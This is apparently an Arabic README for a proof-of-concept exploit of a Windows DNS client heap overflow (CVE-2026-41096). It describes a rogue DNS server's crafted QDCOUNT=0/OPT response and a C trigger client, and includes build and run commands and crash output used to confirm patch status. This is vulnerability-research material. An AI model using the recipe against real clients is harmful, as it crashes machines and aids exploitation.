
استغلال إثبات المفهوم لـ CVE-2026-41096: تجاوز سعة الكومة في DnsRawTruncateMessageForUdp() في عميل DNS في Windows. يتضمن خادم DNS مارق وعميل تشغيل لتأكيد الثغرة.
تجاوز سعة في الكومة (Heap overflow) في DnsRawTruncateMessageForUdp() (dnsapi.dll). استجابة DNS مصمّمة بعناية تحتوي على QDCOUNT=0 وسجل OPT كبير تسبّب تجاوز سعة في الكومة بمقدار 604 بايت عندما يُخطئ منطق الاقتطاع في حساب مؤشر الوجهة.
استشارة MSRC: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41096
| الملف | الوصف |
|---|---|
rogue_dns_server.py | خادم DNS خبيث (Python 3). يرد على كل استعلام باستجابة QDCOUNT=0 + OPT (623 بايت). |
trigger_client.c | عميل التشغيل (C/Win32). يستدعي DnsQueryRaw موجّهًا إلى الخادم الخبيث. يلتقط الانهيار عبر SetUnhandledExceptionFilter. |
المهاجم (الخادم الخبيث):
الضحية (عميل التشغيل):
DnsQueryRaw)dnsapi.dll1. شغّل الخادم الخبيث:
sudo python3 rogue_dns_server.py
2. ابنِ وشغّل عميل التشغيل:
cl /W4 /O2 trigger_client.c /link ws2_32.lib
trigger_client.exe <ROGUE_DNS_IP>
3. (اختياري) فعّل Page Heap لانهيار حتمي:
gflags /p /enable trigger_client.exe /full
trigger_client.exe <ROGUE_DNS_IP>
| الكود | المعنى |
|---|---|
| 0 | النظام محدّث (تم إرجاع DNS_ERROR_BAD_PACKET بنجاح) |
| 1 | خطأ (لم يتم العثور على DnsQueryRaw، مشكلة في الشبكة، إلخ.) |
| 2 | تم اكتشاف انهيار (تم تأكيد تجاوز سعة الكومة) |
قابل للاستغلال (Page Heap):
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[!!] CRASH - Exception 0xC0000005 at 0x00007FFD1A2B4F20
[!!] WRITE at 0x000001A33C3B1000
[!!] CVE-2026-41096 CONFIRMED - heap overflow triggered.
قابل للاستغلال (بدون Page Heap):
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[!!] CRASH - Exception 0xC0000374 at 0x00007FFD1B5DXXXX
[!!] CVE-2026-41096 CONFIRMED - heap overflow triggered.
محدّث (مُصحَّح):
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[+] Callback: queryStatus=0x251E
[+] DNS_ERROR_BAD_PACKET - system is PATCHED.